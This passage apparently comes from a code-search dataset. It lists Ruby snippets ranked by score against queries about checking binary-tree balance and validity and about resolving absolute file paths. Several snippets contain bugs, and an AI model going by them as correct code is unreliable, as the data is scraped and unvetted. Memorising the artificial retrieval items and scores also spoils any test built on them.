"text": "def balanced?(node = @root, boolean_check = [])\n return if node.nil?\n\n queue = []\n queue.append(node)\n until queue.empty?\n current = queue[0]\n if current.data\n # find height of left node\n if !node.left.nil?\n left_arr = level_order(node.left)\n left_last_value = left_arr[-1]\n left_height = find_with_height(node.left, left_last_value)\n else\n left_height = 0\n end\n # find height of right node\n if !node.right.nil?\n right_arr = level_order(node.right)\n right_last_value = right_arr[-1]\n right_height = find_with_height(node.right, right_last_value)\n else\n right_height = 0\n end\n # if nodes are uneven\n boolean_check.append('false') if left_height - right_height > 1 || right_height - left_height > 1\n end\n queue.shift\n queue.append(current.left) unless current.left.nil?\n queue.append(current.right) unless current.right.nil?\n end\n # check if nodes below are balanced\n balanced?(node.left, boolean_check)\n balanced?(node.right, boolean_check)\n boolean_check.each do |i|\n return false if i == 'false'\n end\n true\n end",
"title": ""
},
{
"docid": "6aa771107f12b58c7c4c39d99a7ad182",
"score": "0.6306984",
"text": "def validate_bst(node)\n return true if node.less.nil? && node.more.nil?\n if node.less.nil? && node.more.value < node.value\n validate_bst(node.more)\n elsif node.more.nil? && node.less.value < node.value\n validate_bst(node.less)\n elsif node.less.value < node.value && node.more.value < node.value\n validate_bst(node.less)\n validate_bst(node.more)\n end\n false\n\nend",
"title": ""
},
{
"docid": "8004219dc8332ac981bf30d5c5db0598",
"score": "0.6298924",
"text": "def include_tree?(node2)\n return true if node2.nil?\n sub_tree?(@root, node2)\n end",
"title": ""
},
{
"docid": "8e84696ebbeb01e825a73d7698a1e504",
"score": "0.6293668",
"text": "def contains_tree?(another_tree)\n self.any? do |node|\n node.contains(another_tree)\n end\n end",
"title": ""
},
{
"docid": "bc1d1e2bb05e9f677d69644181f0ea61",
"score": "0.6292228",
"text": "def leaf?\n left.nil? && right.nil?\n end",
"title": ""
},
{
"docid": "9d0bf35a4cb1f250a9818ed52ccd78a4",
"score": "0.6290355",
"text": "def is_subtree?(tree1, tree2 = self)\n\t\tin1 = []\n\t\tpre1 = []\n\t\tin2 = []\n\t\tpre2 = []\n\t\tinorder = ->(root, arr) {\n\t\t\tif root.left_node\n\t\t\t\tinorder.call(root.left_node, arr)\n\t\t\tend\n\t\t\tarr << root.val\n\t\t\tif root.right_node\n\t\t\t\tinorder.call(root.right_node, arr)\n\t\t\tend\n\t\t}\t\t\n\t\tpreorder = ->(root, arr) {\n\t\t\tarr << root.val\n\t\t\tif root.left_node\n\t\t\t\tpreorder.call(root.left_node, arr)\n\t\t\t# else\n\t\t\t# \tarr << \"X\"\n\t\t\tend\n\t\t\tif root.right_node\n\t\t\t\tpreorder.call(root.right_node, arr)\n\t\t\t# else\n\t\t\t# \tarr << \"X\"\n\t\t\tend\n\t\t}\n\t\tinorder.call(tree1.root, in1)\n\t\tpreorder.call(tree1.root, pre1)\n\t\tinorder.call(tree2.root, in2)\n\t\tpreorder.call(tree2.root, pre2)\n\n\t\tis_subarray= ->(arr1, arr2) {\n\t\t\tif arr1.length > arr2.length\n\t\t\t\tarr = arr1\n\t\t\t\tsub = arr2\n\t\t\telse\n\t\t\t\tarr = arr2\n\t\t\t\tsub = arr1\n\t\t\tend\n\t\t\tconsecutive = 0\n\t\t\tfor i in 0..arr.length-1\n\t\t\t\tif consecutive == sub.length-1\n\t\t\t\t\treturn true\n\t\t\t\tend\n\n\t\t\t\tif arr[i] == sub[consecutive]\n\t\t\t\t\tconsecutive += 1\n\t\t\t\telse\n\t\t\t\t\tconsecutive = 0\n\t\t\t\tend\n\t\t\tend\n\t\t\tfalse\n\t\t}\n\n\t\tif is_subarray.call(in1, in2) && is_subarray.call(pre1,pre2)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\t\t\n\tend",
"title": ""
},
{
"docid": "60e797b8c75bee0c1f4a3448660e272b",
"score": "0.6287384",
"text": "def balanced?(root) \n return true unless root // # if root is nil return true\n\n depths = [] # keep track of depth numbers\n nodes = [] # keep track of node & depth\n nodes.push(root, 0) # start out with the root with a depth of 0\n\n until nodes.empty?\n node, depth = nodes.pop\n\n if !node.left && !node.right # this is a leaf node\n unless depths.include?(depth)\n depth.push(depth) # only push a new depth once we're at a leaf node\n\n\n # then check if one of two cases are satisfied\n # 1. there are more than 2 depths\n # 2 there are 2 depths but their difference is greater than 1\n if depths.length > 2 ||\n depths.length == 2 && (depths[0] - depths[1]).abs > 1\n return false\n end\n end\n else\n nodes.push(node.left, depth + 1) if node.left\n nodes.push(node.right, depth + 1) if node.right\n end\n end\n\n # we can return true at the end because we hadn't reached our short circuit. \n return true\nend",
"title": ""
},
{
"docid": "d066a9e7a63699cdfe6133676ae3b465",
"score": "0.62407416",
"text": "def find_node(root, data)\n raise \"Please pass the root of the binary tree as an argument.\" if root.is_a? BinaryTree\n\n return false if root == nil\n return true if root.data == data\n return find_node(root.left, data) || find_node(root.right, data)\nend",
"title": ""
},
{
"docid": "94e8327e64088ff012ad2bc705d53534",
"score": "0.6237663",
"text": "def is_bst_2?(root = @root, min_value = \"\", max_value = \"~~~~~\") #O(n)\n #min_value = - Float::INFINITY, max_value = Float::INFINITY for integers\n return true if root == nil\n if root.value > min_value && \n root.value < max_value &&\n is_bst_2?(root.link_left, min_value, root.value) &&\n is_bst_2?(root.link_right, root.value, max_value)\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "8e4b475ab611b7b85f2750fc6e82e881",
"score": "0.6230828",
"text": "def is_bst_3?(root = @root)\n return nil if root == nil\n node_list = inorder_traversal(root)\n (node_list == node_list.sort) ? true : false\n end",
"title": ""
},
{
"docid": "c1d408932c516dff953fb5cb5a33617f",
"score": "0.6221408",
"text": "def balanced?(node = @root)\n return true if node.nil?\n\n left_height = height(node.left)\n right_height = height(node.right)\n\n return true if left_height - right_height <= 1 && balanced?(node.left) && balanced?(node.right)\n\n false\n end",
"title": ""
},
{
"docid": "ffea1e0004f3c61e4e5033028bb18b77",
"score": "0.6215493",
"text": "def root_of?(node)\n self == node.root\n end",
"title": ""
},
{
"docid": "e7ed97d593153bcf6396bdc96c733037",
"score": "0.6212994",
"text": "def balanced?(node = @root)\n return nil if node.nil?\n \n if node.right.nil?\n return false if height(node.left.data) > 1\n \n elsif node.left.nil?\n return false if height(node.right.data) > 1\n \n elsif (height(node.right.data) - height(node.left.data)).abs > 1\n return false\n \n end\n true\n end",
"title": ""
},
{
"docid": "4bb8f12fb581ed598ead4c832ea7459e",
"score": "0.62020034",
"text": "def balanced?(root = @root)\n return true if root.nil?\n\n left_height = height(root.left_child)\n right_height = height(root.right_child)\n if (left_height - right_height).abs <= 1 && balanced?(root.left_child) == true && balanced?(root.right_child) == true\n return true\n end\n\n false\n end",
"title": ""
},
{
"docid": "885d93cfd64c4e5bb9d3dc2e359a706f",
"score": "0.6188003",
"text": "def balanced?\n if (height(@root.left) - height(root.right)).abs <= 1\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "41d349a5e73e568b17d538c8e00eb72c",
"score": "0.6178811",
"text": "def is_root?(node)\n\t\treturn @root.object_id == node.object_id\n\tend",
"title": ""
},
{
"docid": "05ba9e9aa93524e14013a544862b4c70",
"score": "0.6165723",
"text": "def balanced?(node=@tree)\n node.nil? or ((height(node[:left]) - height(node[:right])).abs <= 1)\n end",
"title": ""
},
{
"docid": "f45cc25176635381c0728fae8cf82020",
"score": "0.6164326",
"text": "def isTreeSymmetric(t)\n return true if t.nil?\n compare(t.left, t.right)\nend",
"title": ""
},
{
"docid": "696f90503f07253014f786c005a09ee1",
"score": "0.6160931",
"text": "def answer(tree_root)\n return true if !tree_root # a tree with no nodes is superbalanced\n\n depths = []\n nodes = []\n nodes.push([tree_root, 0])\n\n while !nodes.empty?\n node, depth = nodes.pop # push node and depth from the top of our stack\n\n if !node.left && !node.right # case: a leaf is found\n if !depths.include? depth # we only care if it's a new depth\n depths.push(depth)\n # Two ways we might now have an unbalanced tree:\n # 1) more than 2 different leaf depths\n # 2) 2 leaf depths that are more than 1 apart\n return false if (depths.length > 2) || (depths.length == 2 && (depths[0] - depths[1]).abs > 1)\n end\n else # case: this isn't a leaf - keep going down\n nodes.push([node.left, depth + 1]) if node.left\n nodes.push([node.right, depth + 1]) if node.right\n end\n end\n\n return true\nend",
"title": ""
},
{
"docid": "6cbea4c2fac6df6892b6747551617930",
"score": "0.61575216",
"text": "def is_balanced?(root = @root)\n\t\tif root == nil\n\t\t\treturn true\n\t\tend\n\n\t\tif root.left_node && root.right_node\n\t\t\theight_diff = (root.left_node.height-root.right_node.height).abs\n\t\telsif root.left_node\n\t\t\theight_diff = (root.left_node.height)\n\t\telsif root.right_node\n\t\t\theight_diff = (root.right_node.height)\n\t\tend\n\n\t\tif height_diff > 1\n\t\t\treturn false\n\t\telse\n\t\t\treturn is_balanced?(root.left_node) && is_balanced?(root.right_node)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "5a6440f227428914a40048b995ceeb7a",
"score": "0.61470187",
"text": "def balanced?\n @root.balanced?\n end",
"title": ""
},
{
"docid": "30f619f740d99da0661bef99c86103f2",
"score": "0.614687",
"text": "def check_balanced(node = @root)\n return true if node.nil?\n left = find_height(node.left)\n right = find_height(node.right)\n if ((left - right).abs <= 1 && check_balanced(node.left) && check_balanced(node.right))\n return true\n else \n return false\n end\n end",
"title": ""
},
{
"docid": "b9532f8a1e59a74cee8e11062f5c95ce",
"score": "0.6129289",
"text": "def check_subtrees(node_T1, node_T2)\n # Step 1 Find identical root\n root = find_root(node_T1, node_T2)\n return false if root.nil?\n \n # Step 2 Check of the rest of the tree is identical\n identical?(root, node_T2)\nend",
"title": ""
},
{
"docid": "ed87cf73f949014568bb7e290c1ce00e",
"score": "0.6126111",
"text": "def is_valid(node, lower, upper)\n return true unless node\n val = node.val\n \n return false if val <= lower || val >= upper \n return false if node.right && is_valid(node.right, val, upper) == false\n return false if node.left && is_valid(node.left, lower, val) == false\n \n true\nend",
"title": ""
},
{
"docid": "6e5b254dfc0343dad076bb0d5fbc64b3",
"score": "0.61261004",
"text": "def leaf?\n @left_child.nil? && @right_child.nil?\n end",
"title": ""
},
{
"docid": "6d94282f8bfc3b640ef21b8abafa76e1",
"score": "0.61244106",
"text": "def contains?(value, root_node )\n return if root_node.nil?\n\n start_node = root_node\n contains?(value, start_node)\n result = true if start_node.value == value\n result = true if start_node.left_child.value == value\n result = true if start_node.right_child.value == value\n result\n end",
"title": ""
},
{
"docid": "f48d46bb262906309501176dd1324fd4",
"score": "0.61188334",
"text": "def validate_bst_helper(tree)\n return true, nil, nil if tree.nil?\n\n is_left_bst, left_min, left_max = validate_bst_helper(tree.left)\n is_right_bst, right_min, right_max = validate_bst_helper(tree.right)\n\n is_bst = is_left_bst && is_right_bst && \n (tree.left.nil? || left_max <= tree.value) && \n (tree.right.nil? || right_min > tree.value)\n min_value = tree.left.nil? ? tree.value : left_min\n max_value = tree.right.nil? ? tree.value : right_max\n\n return is_bst, min_value, max_value\nend",
"title": ""
},
{
"docid": "8c6aadfd516730ddb2d9b698309f5c73",
"score": "0.609816",
"text": "def bst?(node = @root, min = nil, max = nil)\n return true if node.nil?\n return false if (min != nil && node.key < min)\n return false if (max != nil && node.key > max)\n bst?(node.left, min, node.key) && bst?(node.right, node.key, max)\n end",
"title": ""
},
{
"docid": "735fc2c0f942e05fbccc631eb7ee4bfe",
"score": "0.60970885",
"text": "def check_subtree(sub_root, small_root)\n if sub_root.value != small_root.value\n raise \"does not match\"\n elsif sub_root == nil && small_root == nil\n return nil\n else\n if sub_root.left != nil\n left_value = check_subtree(sub_root.left, small_root.left)\n end\n if sub_root.right != nil\n right_value = check_subtree(sub_root.right, small_root.right)\n end\n end\nend",
"title": ""
},
{
"docid": "f92cd5b72c029e26bd07fa12c891f670",
"score": "0.60956305",
"text": "def has_same_tree_structure(t)\n # check roots first.\n if (!(self.get_type).equal?(t.get_type))\n return false\n end\n # if roots match, do full list match test on children.\n if (!(self.get_first_child).nil?)\n if (!((self.get_first_child).has_same_list_structure(t.get_first_child)))\n return false\n end\n # sibling has no kids, make sure t doesn't either\n else\n if (!(t.get_first_child).nil?)\n return false\n end\n end\n return true\n end",
"title": ""
},
{
"docid": "235cc576928251c7350356c450cdee0d",
"score": "0.6078996",
"text": "def contains?(value, root = @root)\n #NOTE if value are diff data type will throw error(if you searching for integer in tree of strings)\n return false if root == nil\n if root.value == value\n return true\n elsif value <= root.value\n contains?(value, root.link_left)\n else\n contains?(value, root.link_right)\n end\n end",
"title": ""
},
{
"docid": "8ae3d9a9e0b15d58090249f3dfb08bec",
"score": "0.6074282",
"text": "def is_leaf?\n children.empty?\n end",
"title": ""
},
{
"docid": "d422b8d9d2ded133a0239ce8a61b585b",
"score": "0.60711986",
"text": "def equal_by_tree?() abstract end",
"title": ""
},
{
"docid": "7376938a77cff0435ae5f03e248505f9",
"score": "0.6071019",
"text": "def rec_valid_tree(tree)\n \tvalid = true\n \ttree.for_each_instance do |x| \n \t\tvalid_parent_child(tree,x)\n \t\trec_valid_tree(x) \n \tend\n \treturn valid\n end",
"title": ""
},
{
"docid": "d5c9c9e649f2fa69125d2a00101df9e4",
"score": "0.60663915",
"text": "def leaf?() false; end",
"title": ""
},
{
"docid": "3f3ccd9fd6abda06e3cbec9a033b778e",
"score": "0.60659087",
"text": "def isLeaf?\r\n !hasChildren?\r\n end",
"title": ""
},
{
"docid": "9bb282b77b4783f5df871e49cf8ec0de",
"score": "0.6062843",
"text": "def balanced?\n # If a node doesn't exist then we check to see if its neighbor exists. If it does we make sure it has no children.\n # If this is the case this node is balanced. If not, it can't be balanced. If both nodes exist we compare\n # their heights. If they are within 1 of each other, we recursively check if they are balanced.\n if left_child.nil?\n if right_child.nil?\n return true\n else\n if right_child.height == 0\n return true\n else\n return false\n end\n end\n else\n if right_child.nil?\n if left_child.height == 0\n return true\n else\n return false\n end\n else\n if (right_child.height - left_child.height).between?(-1, 1)\n return left_child.balanced? && right_child.balanced?\n else\n return false\n end\n end\n end\n end",
"title": ""
},
{
"docid": "a87fb6cec22dc694aeb7b324686554f5",
"score": "0.6059184",
"text": "def binary_search_tree(one_tree)\n \n nodes = []\n nodes.push([one_tree, -Float::INFINITY, Float::INFINITY])\n \n while nodes.any? \n node, lowest_number, highest_number = nodes.pop\n \n return false if ((node.current_value <= lowest_number) || (node.current_value >= highest_number))\n \n nodes.push([node.left, lowest_number, node.current_value]) if node.left\n nodes.push([node.left, node.current_value, highest_number]) if node.right\n end \n true\nend",
"title": ""
}
] |
8ac56dda129a40737b900e8bfb78ad07 | Returns the absolute path of the specified file | [
{
"docid": "138f5de889577415dcc138745901f0ab",
"score": "0.8664912",
"text": "def abspath(file)\n File.absolute_path(file)\nend",
"title": ""
}
] | [
{
"docid": "c9d1731938f3910e721e2c676c3a9c2e",
"score": "0.8159715",
"text": "def get_absolute_path(file)\n File.expand_path file\nend",
"title": ""
},
{
"docid": "4e1b82b3145c53995d7a0b1f02cedc8f",
"score": "0.7759863",
"text": "def absolute(file)\n if File.directory?(full_path)\n File.join(full_path, file)\n else\n full_path\n end\n end",
"title": ""
},
{
"docid": "c2f19d21dc6618324e2c34f5373e17b0",
"score": "0.7720183",
"text": "def file(filename) File.read(File.absolute_path(filename, File.dirname($PROGRAM_NAME))) end",
"title": ""
},
{
"docid": "2554fe025889ba4234671b82cc4af23d",
"score": "0.7698318",
"text": "def fullpath\n File.expand_path( @file )\n end",
"title": ""
},
{
"docid": "632560d7918a38a5dc904956a21bbb40",
"score": "0.7696595",
"text": "def file_path\n File.join(dir,filename)\n end",
"title": ""
},
{
"docid": "9da0ce4e5976a8208200da875cb21e71",
"score": "0.75338656",
"text": "def file_path(filename)\n File.join(path, filename)\n end",
"title": ""
},
{
"docid": "f5841cfe0f315020950c196e9cf67725",
"score": "0.73622584",
"text": "def absolute_file_name(filename)\n File.expand_path(filename, @base_path)\n end",
"title": ""
},
{
"docid": "64d24b0e4257d2a97edaa80a4b05b15f",
"score": "0.73601764",
"text": "def file_path\n File.dirname(__FILE__) + '/' + @file_name\n end",
"title": ""
},
{
"docid": "53f98d47f3522157011bc6ae0a7d7025",
"score": "0.73360825",
"text": "def fep(file)\n return File.expand_path(file)\n end",
"title": ""
},
{
"docid": "56869c52b36f097dd548f10450482362",
"score": "0.73019683",
"text": "def rel_path(file)\n File.dirname(file)\n end",
"title": ""
},
{
"docid": "75695d4219279a2e080fc9cdda7744da",
"score": "0.72520703",
"text": "def file_path\n @file_path ||= lookup_file_path\n end",
"title": ""
},
{
"docid": "fa14c75275dfe9d61aa0bf3922da2899",
"score": "0.725068",
"text": "def figure_path(file)\n return file if Pathname.new(file).absolute?\n $LOAD_PATH.each do |path|\n found = File.join(path, file)\n return File.expand_path(found) if File.file?(found)\n end\n file\n end",
"title": ""
},
{
"docid": "245d006eeb629305569a5c5f3c35db38",
"score": "0.72408396",
"text": "def file\n File.join(directory, @file)\n end",
"title": ""
},
{
"docid": "4369115a26ac98a3ff872abc9b0e7500",
"score": "0.7234056",
"text": "def file_name\n return unless @file\n\n @file.absolute_name\n end",
"title": ""
},
{
"docid": "5c4aaafa47473b87d5fc8f8bd5725a2e",
"score": "0.7233941",
"text": "def file_path\n dir_name + file_name\n end",
"title": ""
},
{
"docid": "4a958436a1d06dbae8a062c251c26ee8",
"score": "0.72241133",
"text": "def user_file_path(file)\n path = \"#{Settings.source_dir}/#{file}\"\n ext = \".#{Settings.partials_extension}\"\n return path if path.end_with? ext\n\n \"#{path}#{ext}\"\n end",
"title": ""
},
{
"docid": "3da66706f76821c066120f4715934acc",
"score": "0.7214442",
"text": "def asset_filepath(file)\n File.join(base_path, file)\n end",
"title": ""
},
{
"docid": "539fe8aa3fc993e383fbd7f536ed956e",
"score": "0.7201158",
"text": "def path_to_file(file)\n # return if we already have the full file path\n return file if File.exist?(file)\n path = importerexporter.parser.path_to_files\n f = File.join(path, file)\n return f if File.exist?(f)\n raise \"File #{f} does not exist\"\n end",
"title": ""
},
{
"docid": "539fe8aa3fc993e383fbd7f536ed956e",
"score": "0.7201158",
"text": "def path_to_file(file)\n # return if we already have the full file path\n return file if File.exist?(file)\n path = importerexporter.parser.path_to_files\n f = File.join(path, file)\n return f if File.exist?(f)\n raise \"File #{f} does not exist\"\n end",
"title": ""
},
{
"docid": "71e6abef447b18d11db5922231aaf411",
"score": "0.71992016",
"text": "def abs_filepath\n @epub.manifest.abs_path_from_id(@id)\n end",
"title": ""
},
{
"docid": "993f49a9b97a0ebcc32d499b7368482e",
"score": "0.71887493",
"text": "def absolute_path(relative_path)\n quoted_string(File.expand_path(File.join(File.dirname(options[:filename]), relative_path.value)))\n end",
"title": ""
},
{
"docid": "4a34e02824735634e97308ba8f4f1a3a",
"score": "0.7184016",
"text": "def normalized_path(file); end",
"title": ""
},
{
"docid": "6180e3322fb38a55faf4ba9ab7055126",
"score": "0.7168507",
"text": "def file_path\n File.join(AssetMapper.assets_dir, filename)\n end",
"title": ""
},
{
"docid": "edd5b2c7ba1f724761251892138f5e24",
"score": "0.71493196",
"text": "def abspath(path)\n Pathname.new(File.expand_path(path)).realpath.to_s\n end",
"title": ""
},
{
"docid": "1b29c1a97c06ce020d8bf886393893b0",
"score": "0.7140633",
"text": "def file_path(ext = nil)\n return nil unless file_name(ext)\n \"#{self.base_path}/#{file_name(ext)}\"\n end",
"title": ""
},
{
"docid": "c645bd7415563cbb441ace7df285e0a7",
"score": "0.7122526",
"text": "def relative_path(filename)\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces.size..-1])\n end",
"title": ""
},
{
"docid": "00e4019b61d4aa51b04d50ec0c96cde6",
"score": "0.7112993",
"text": "def local_file(file)\n File.join @cwd, file\n end",
"title": ""
},
{
"docid": "51c20d99a2edcf33728f8cfa54eac46d",
"score": "0.710021",
"text": "def full_file_path\n Rails.root.join('uploads', filepath).to_s\n end",
"title": ""
},
{
"docid": "292dc45b4a40e900d6d8a1e5743be919",
"score": "0.70986485",
"text": "def path\n @file.path\n end",
"title": ""
},
{
"docid": "aa4cb215eecf77d00b173c4b7a1be587",
"score": "0.70977336",
"text": "def realpath(file)\n File.expand_path(File.join(folder, file))\n end",
"title": ""
},
{
"docid": "2648b0863dad644f19593aa53293519c",
"score": "0.7076873",
"text": "def file_path path\n File.join(output_path, manifest.lookup(path).split('/')[2..-1])\n end",
"title": ""
},
{
"docid": "b7cbef12b1fcad06cbe219a6d72166bf",
"score": "0.7076643",
"text": "def file_path\n dir\n end",
"title": ""
},
{
"docid": "8ce219e19d9a51b5a6e9a31652f22609",
"score": "0.7072286",
"text": "def relative_file_path(file_path)\n file_path.gsub(/#{pwd}\\//, '')\n end",
"title": ""
},
{
"docid": "9613dc6214ae7f7f0c53dadd18239b28",
"score": "0.7039241",
"text": "def get_file_path(filename)\n # dir = File.realdirpath(File.join(File.dirname(__FILE__), '..', 'config'))\n File.join(@dir, filename)\n end",
"title": ""
},
{
"docid": "aba000288bbc20bf1142c067088aa448",
"score": "0.7026954",
"text": "def path\n \"%s/%s\" % [dirname, filename]\n end",
"title": ""
},
{
"docid": "41b6f560b58ae279de53f303518c6748",
"score": "0.70179904",
"text": "def path\n ::File.join(@folder, @file)\n end",
"title": ""
},
{
"docid": "68112f80c718f8d87ff9fed0c128894c",
"score": "0.70000535",
"text": "def relative(file)\n if File.directory?(full_path)\n file[full_path.length+1..-1]\n else\n File.basename(file)\n end\n end",
"title": ""
},
{
"docid": "9db37b942c6b61334c93c55b65190312",
"score": "0.6986625",
"text": "def path\n @file\n end",
"title": ""
},
{
"docid": "39087e87d6f4470131487bce8cfe841a",
"score": "0.69843566",
"text": "def file\n File.join(root, FILENAME)\n end",
"title": ""
},
{
"docid": "32e842d45cc2b47fe911c0e855878e46",
"score": "0.69757944",
"text": "def path\n file.url\n end",
"title": ""
},
{
"docid": "f8e9b2019ce43aab6d3dc795c24b0cf9",
"score": "0.6953745",
"text": "def path\n @file.path\n end",
"title": ""
},
{
"docid": "65d8c9a7ff20c6acc5ff203e94d3e46e",
"score": "0.6935428",
"text": "def path\n return if @file.blank?\n if is_path?\n File.expand_path(@file)\n elsif @file.respond_to?(:path) && !@file.path.blank?\n File.expand_path(@file.path)\n end\n end",
"title": ""
},
{
"docid": "a3ffc634776eab60a461b02f0a0987b7",
"score": "0.69247836",
"text": "def get_file_path\n @path\n end",
"title": ""
},
{
"docid": "f7b21225eed81eaa7d1c7f947e1e62bf",
"score": "0.6915592",
"text": "def path_in_dir(file)\n \"#{@req.env['PATH_INFO']}/#{file}\".gsub('//', '/')\n end",
"title": ""
},
{
"docid": "039a8ea00898067a09624f8a10675dd1",
"score": "0.690693",
"text": "def figure_path(file, paths)\n if Pathname.new(file).absolute?\n return File.exist?(file) ? file : nil\n end\n\n paths.each do |possible_path|\n full_path = File.join(possible_path, file)\n return full_path if File.exist?(full_path)\n end\n nil\n end",
"title": ""
},
{
"docid": "405f3459e2052b58b5f28e749f21dc6b",
"score": "0.6891455",
"text": "def file_path(file_name)\n file_map[file_name]['path']\n end",
"title": ""
},
{
"docid": "405f3459e2052b58b5f28e749f21dc6b",
"score": "0.6891455",
"text": "def file_path(file_name)\n file_map[file_name]['path']\n end",
"title": ""
},
{
"docid": "a168ff0ea5516658f117b60ce6e6f4c0",
"score": "0.6879405",
"text": "def determine_path\n if source_line.file == SourceLine::DEFAULT_FILE\n return source_line.file\n end\n\n full_path = File.expand_path(source_line.file)\n pwd = Dir.pwd\n\n if full_path.start_with?(pwd)\n from = Pathname.new(full_path)\n to = Pathname.new(pwd)\n\n return from.relative_path_from(to).to_s\n else\n return full_path\n end\n end",
"title": ""
},
{
"docid": "e9da473cd3c7fb95da819c033cbfc3c3",
"score": "0.6878942",
"text": "def path\n @file\n end",
"title": ""
},
{
"docid": "a75aab2f9e4eff69ebc33f59e6522c37",
"score": "0.6862039",
"text": "def to_absolute_path(file, dir_str)\n Pathname.new(file).absolute? ? file : File.expand_path(file, dir_str)\n end",
"title": ""
},
{
"docid": "6f4c34ff88664d1cd35725b9993c2138",
"score": "0.68582636",
"text": "def working_file(file)\n \"#{working_dir}/#{file_string(file)}\"\n end",
"title": ""
},
{
"docid": "9ba166c6d37e769b35741a7b741bc0b3",
"score": "0.68315345",
"text": "def absolute_path(template_name)\n File.join(@base_path, \"#{template_name}.#{TEMPLATE_EXT}\")\n end",
"title": ""
},
{
"docid": "ef30626cc09b302586ed0879c17fdb48",
"score": "0.68274754",
"text": "def relative_path(filename)\n @mount_dir_pieces ||= @mount_dir.size\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces..-1])\n end",
"title": ""
},
{
"docid": "38be344fd5aa55ae483820265dc51064",
"score": "0.68225676",
"text": "def get_filename (file)\n\t\tif file.is_a? File\n\t\t\tfile = file.path\n\t\tend\n\t\treturn file\n\tend",
"title": ""
},
{
"docid": "960c0e4a730b71f66965818933b8290e",
"score": "0.6821913",
"text": "def file_to_path(file)\n file = File.expand_path(file, @app.root)\n \n prefix = @app.source_dir.sub(/\\/$/, \"\") + \"/\"\n return false unless file.include?(prefix)\n \n path = file.sub(prefix, \"\")\n extensionless_path(path)\n end",
"title": ""
},
{
"docid": "f1ba33c7e5e8ef01c0778251f4345389",
"score": "0.68206877",
"text": "def cookbook_file_path(file)\n File.join(@path, file)\n end",
"title": ""
},
{
"docid": "bc16db539bc7cf10a4f686d8850e367f",
"score": "0.68200016",
"text": "def file\n @pathname.to_s\n end",
"title": ""
},
{
"docid": "41b77e15d288d115b927611d44e71046",
"score": "0.68166465",
"text": "def path\n self.file.to_s\n end",
"title": ""
},
{
"docid": "d8672841bfa5ba3764884ec214bdf22a",
"score": "0.6783821",
"text": "def file_path\n end",
"title": ""
},
{
"docid": "460c1a306a3ba40bc3516ed07ffcbbe3",
"score": "0.6783422",
"text": "def absolute_path\n if is_url?\n # Use the last path component without the query string plus the name\n # of the resource in Base64. This should be both mildly readable and\n # also unique per invocation.\n url_part = URI(path).path.split(/\\//).last\n base64_name = Base64.strict_encode64(name).gsub(/\\=/, '')\n ::File.join(Chef::Config[:file_cache_path], \"#{base64_name}_#{url_part}\")\n else\n ::File.expand_path(path, Chef::Config[:file_cache_path])\n end\n end",
"title": ""
},
{
"docid": "90fc57ad4013fcdcfd15c8f11205b860",
"score": "0.6781486",
"text": "def to_abs_path\n File.expand_path(self)\n end",
"title": ""
},
{
"docid": "aeaa6e161db7c20f0741a895e2947c21",
"score": "0.676336",
"text": "def full_path(relative_filename)\n File.join(@mount_dir, relative_filename)\n end",
"title": ""
},
{
"docid": "3e7085efa18d9b7853530a012007b542",
"score": "0.6759999",
"text": "def basedir\n return nil if !file\n File.dirname File.absolute_path @file\n end",
"title": ""
},
{
"docid": "25fae3f91e29e9a6feaf30b5391abd84",
"score": "0.67570716",
"text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"title": ""
},
{
"docid": "25fae3f91e29e9a6feaf30b5391abd84",
"score": "0.67570716",
"text": "def getRealPath(path) Pathname.new(path).realpath.to_s; end",
"title": ""
},
{
"docid": "bd6efb26b822a0d1916fc5b1a7a26f90",
"score": "0.67340386",
"text": "def current_file_path\n clurl = AssetSettings[:local_assets][@file_id].last\n clurl.sub(/\\A#{AssetSettings[:local_assets].assets_url_prefix}/,\n '') if clurl\n end",
"title": ""
},
{
"docid": "ca439f09c2bdd8572e26aac145d67264",
"score": "0.6720378",
"text": "def localFile(f)\n fileUri(File::absolute_path(f))\nend",
"title": ""
},
{
"docid": "305e7eec9f30562c0cfcbfa2627b44c4",
"score": "0.670369",
"text": "def filename(file)\n name = if file.respond_to?(:original_filename)\n file.original_filename\n else\n File.basename(file)\n end\n Pathname.normalize_filename(name)\n end",
"title": ""
},
{
"docid": "749843c479091e21d4f6e72deedf914b",
"score": "0.66959584",
"text": "def path(file)\n File.join File.dirname(__FILE__), '../../templates/', file\n end",
"title": ""
},
{
"docid": "77e8c07b0733c99e632bcba159d2f36f",
"score": "0.66886127",
"text": "def get_abs_filename(metadata, dir=@dir)\n return metadata.get_abs_filename(dir)\n end",
"title": ""
},
{
"docid": "25e252b49c2c407e0d84313222a1dc5d",
"score": "0.66760874",
"text": "def file() = pathname.relative_path_from(Cnfs.config.paths.definitions)",
"title": ""
},
{
"docid": "c34b106a3b2db2d201fcf584df460f1c",
"score": "0.6670752",
"text": "def file_path; end",
"title": ""
},
{
"docid": "b05852986b505019e681ea66fc180d73",
"score": "0.66618675",
"text": "def absolutepath\n if absolute?\n self\n elsif to_s == \".\"\n realpath\n else\n parent.absolutepath + self.basename\n end\n end",
"title": ""
},
{
"docid": "b5d40ff25fbcc0d5e2dfa5c33afc6d26",
"score": "0.6655434",
"text": "def current_file_path\n current_file.to_path\n end",
"title": ""
},
{
"docid": "8e7f3fc8016d8b31d208abf01e1df4fa",
"score": "0.6647953",
"text": "def file_path(attachment_name, style=nil, full=false)\n f = __send__(attachment_name)\n return nil if f.nil?\n fn = style.nil? ? f[:name] : \"#{attachment_name}.#{style}\"\n \"#{file_root(full)}/#{fn}\"\n end",
"title": ""
},
{
"docid": "db59326c210de20f3905f8dcb5b47aa5",
"score": "0.66289145",
"text": "def relative_path\n must_be File\n Pathname.new(self.full_path).relative_path_from(Pathname.new(Dir.pwd)).to_s\n end",
"title": ""
},
{
"docid": "d9639ef54794c8feb76d56476d949556",
"score": "0.66263163",
"text": "def get_file_path(filename)\n File.join(__dir__, filename).freeze\n end",
"title": ""
},
{
"docid": "db17a222ad3cf508dea27513440a8b1c",
"score": "0.6625892",
"text": "def relative_src(filename, dir=nil)\n file = expand_src filename, dir\n base = Pathname.new File.dirname path_info\n Pathname.new(file).relative_path_from(base).to_s\n end",
"title": ""
},
{
"docid": "cec2b4f06552b18122105336e978c1b4",
"score": "0.66071326",
